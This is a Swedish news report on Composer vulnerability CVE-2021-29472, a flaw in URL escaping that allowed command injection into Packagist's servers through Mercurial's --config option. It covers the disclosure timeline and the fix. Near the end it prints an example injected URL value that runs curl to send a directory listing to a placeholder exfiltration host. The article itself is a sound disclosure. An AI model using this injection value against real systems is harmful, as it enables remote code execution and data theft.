Sårbarhet i paketförvaltaren Composer som kan kompromettera PHP-förvaret Packagist

En kritisk sårbarhet (CVE-2021-29472) har upptäckts i beroendehanteraren Composer, som tillåter utförande av godtyckliga kommandon i systemet när ett paket med ett särskilt formaterat URL-värde, som anger adressen för nedladdning av källkoder, behandlas. Problemet manifesterar sig i komponenterna GitDriver, SvnDriver och HgDriver, som används när man arbetar med versionshanteringssystemen Git, Subversion och Mercurial. Sårbarheten har åtgärdats i versionerna Composer 1.10.22 och 2.0.13.

Det är värt att notera att problemet huvudsakligen drabbade det paketförråd som som standard används i Composer, Packagist, som omfattar 306 000 paket för utvecklare i PHP och betjänar mer än 1,4 miljarder nedladdningar varje månad. I en försök visades det att om angriparna hade information om problemetcould, skulle de kunna få kontroll över Packagists infrastruktur och avlyssna inloggningsuppgifter eller omdirigera nedladdningar av paket till en extern server, och på så sätt leverera varianter av paket med skadliga ändringar för att införa bakdörrar vid installationen av beroenden.

Faran för slutanvändarna begränsas av det faktum att innehållet i composer.json vanligtvis definieras av användaren själv, och länkarna till källkoderna tillhandahålls när man kontaktar externa förvar, som vanligtvis är pålitliga. Det största slaget drabbade förvaret Packagist.org och tjänsten Private Packagist, som anropar Composer med data som inhämtats från användarna. Illvilliga aktörer kunde utföra sin kod på Packagists servrar genom att placera ett särskilt formaterat paket.

Packagist-teamet åtgärdade sårbarheten inom 12 timmar efter att meddelandet om sårbarheten mottogs. Forskare informerade privat Packagists utvecklare den 22 april och samma dag åtgärdades problemet. Den offentliga uppdateringen av Composer med åtgärden av sårbarheten publicerades den 27 april, och detaljer avslöjades den 28 april. En granskning av loggarna på Packagists servrar visade ingen misstänkt aktivitet relaterad till sårbarheten.

Problemet orsakades av ett fel i koden som validerar URL:er i den root-filen composer.json och länkarna för nedladdning av källtexter. Felet har funnits i koden sedan november 2011. I Packagist används speciella lager för att möjliggöra nedladdning av koden utan koppling till specifika källkodshanteringssystem, dessa utförs genom att anropa "fromShellCommandline" med överföring av kommandoradsargument. Till exempel för git anropas kommandot "git ls-remote —heads $URL", där URL:en bearbetas med metoden "ProcessExecutor::escape($url)", som maskerar potentiellt farliga konstruktioner som "$(…)" eller "`…`".

Kärnan i problemet är att metoden ProcessExecutor::escape inte maskerade sekvensen "—", vilket gjorde det möjligt att ange vilket som helst ytterligare anropsparameter i URL:en. Liknande maskering saknades i drivrutinerna GitDriver.php, SvnDriver.php och HgDriver.php. Ett angrepp genom GitDriver.php hindrades av att kommandot "git ls-remote" inte stödde angivande av ytterligare argument efter sökvägen. Ett angrepp på HgDriver.php blev möjligt genom att överföra parametern "—config" till verktyget "hq", vilket möjliggjorde körning av valfritt kommando genom manipulerande av inställningen "alias.identify". Till exempel för att ladda ner och köra kod genom att starta verktyget curl kunde man ange: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)".

Genom att ladda upp ett testpaket med en sådan URL på Packagist, bekräftade forskarna att efter uppladdningen till deras server kom en HTTP-förfrågan från en av servrar Packagist i AWS, som innehöll en lista över filer i den aktuella katalogen.

Källa: opennet.ru